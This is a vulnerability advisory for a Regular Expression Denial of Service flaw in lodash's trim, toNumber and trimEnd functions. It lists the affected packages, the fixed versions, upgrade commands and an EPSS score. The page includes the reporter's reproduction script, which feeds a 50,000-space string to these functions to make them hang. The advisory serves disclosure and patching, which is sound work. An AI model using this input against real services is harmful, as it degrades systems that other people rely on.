Loading advisory.
Loading advisory.
Regular Expression Denial of Service (ReDoS) in lodash
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
Published 2021-02-15 11:10 UTC · Modified 2026-10-08 21:13 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| lodash | npm | >= 4.0.0, < 4.17.21 | 4.17.21 | npm install lodash@4.17.21 |
| lodash-es | npm | >= 4.0.0, < 4.17.21 | 4.17.21 | npm install lodash-es@4.17.21 |
| lodash.trimend | npm | >= 4.0.0, <= 4.5.1 | No patch yet | No command until a fix exists. |
| lodash.trim | npm | >= 4.0.0, <= 4.5.1 | No patch yet | No command until a fix exists. |
| lodash-rails | RubyGems | >= 4.0.0, < 4.17.21 versions 4.0.0, 4.11.2, 4.12.0, 4.13.1, 4.14.1, 4.15.0, 4.16.1, 4.16.3, 4.16.4, 4.16.6, 4.17.10, 4.17.11, 4.17.14, 4.17.15, 4.17.2, 4.17.4, 4.17.5, 4.3.0, 4.5.1, 4.6.1 | 4.17.21 | gem install lodash-rails -v 4.17.21 |
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
Steps to reproduce (provided by reporter Liyuan Chen):
var lo = require('lodash');
function build_blank(n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);No public exploit code known to Helm's sources (Nuclei templates, Metasploit, Exploit-DB and PoC-in-GitHub). That does not mean none exists.
One EPSS score on record: 0.074 on 2026-11-24.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.074 | first score | v2026.06.15 |